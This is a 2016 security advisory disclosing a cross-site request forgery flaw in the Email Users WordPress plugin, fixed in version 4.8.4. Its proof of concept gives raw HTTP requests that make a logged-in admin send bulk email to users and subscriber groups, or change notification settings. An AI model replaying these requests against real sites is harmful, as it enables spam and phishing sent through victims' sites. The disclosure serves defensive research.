------------------------------------------------------------------------ Cross-Site Request Forgery vulnerability in Email Users WordPress Plugin ------------------------------------------------------------------------ Julien Rentrop, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was found that the Email Users WordPress Plugin is vulnerable to Cross-Site Request Forgery. By using this issue it is possible for an attacker to send arbitrary (bulk) email messages to any address. In order to exploit this issue, an attacker needs to lure a target user into clicking a specially crafted link or visiting a malicious website (or advertisement). ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160718-0001 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Email Users WordPress Plugin version 4.8.3. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in Email Users version 4.8.4. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_vulnerability_in_email_users_wordpress_plugin.html The email users admin page has admin pages for; - Send to individual user(s) - Send to group of users - Settings These functions can all be triggered using a CSRF attack. These functions can get executed when a logged on admin user gets triggered in to opening a page the attacker controls. Especially the option to send mails to groups of users is interesting for an attacker. In order to exploit this issue, an attacker needs to lure a target user into clicking a specially crafted link or visiting a malicious website (or advertisement). Proof of concept As you can see in all messages there is not a WordPress nonce (or other kind of CSRF token) present. This makes the CSRF possible. The cookie values should be replaced by the values of a logged on admin user. Most unneeded headers/params are stripped in the examples. Send to individual user(s) See below the example message. The attacker can fill in the various fields such as body of the mail. For verification check if the response contains "<p>Email sent to" (followed by nr of users). As user id's are just sequential numbers an attacker can send a list of id's. The "%5B%5D" part is url encoded form of [], so it's also possible to send in a list of user id's at once. POST /wp-admin/admin.php?page=mailusers-send-to-user-page HTTP/1.1 Host: <target> Content-Length: 157 Content-Type: application/x-www-form-urlencoded Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3; Connection: close send=true&fromName=wordpress&fromAddress=sumofpwn%40mailinator.com&mail_format=html&send_users%5B%5D=2&subject=test&mailcontent=test&Submit=Send+Email+%C2%BB Send to group of users See above. Here the send_targets param is used to send to the role-subscriber users. POST /wp-admin/admin.php?page=mailusers-send-to-group-page HTTP/1.1 Host: <target> Content-Length: 257 Content-Type: application/x-www-form-urlencoded Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3; Connection: close send=true&fromName=other&fromAddress=other%40mail.com&group_mode=role&mail_format=html&send_targets%5B%5D=role-subscriber&subject=Subject+mail+to+all+subscribers&mailcontent=%3Cstrong%3EMessage+mail+to+all+subscribers%3C%2Fstrong%3E&Submit=Send+Email+%C2%BB Settings The following requests turns off noticiations for user id 1. Other modifications are also possible. Note; this is a bit different from previous requests since this is GET instead of POST. GET /wp-admin/admin.php?page=mailusers-user-settings&action=notifications_off&user%5B%5D=1 HTTP/1.1 Host: <target> Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3; Connection: close ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.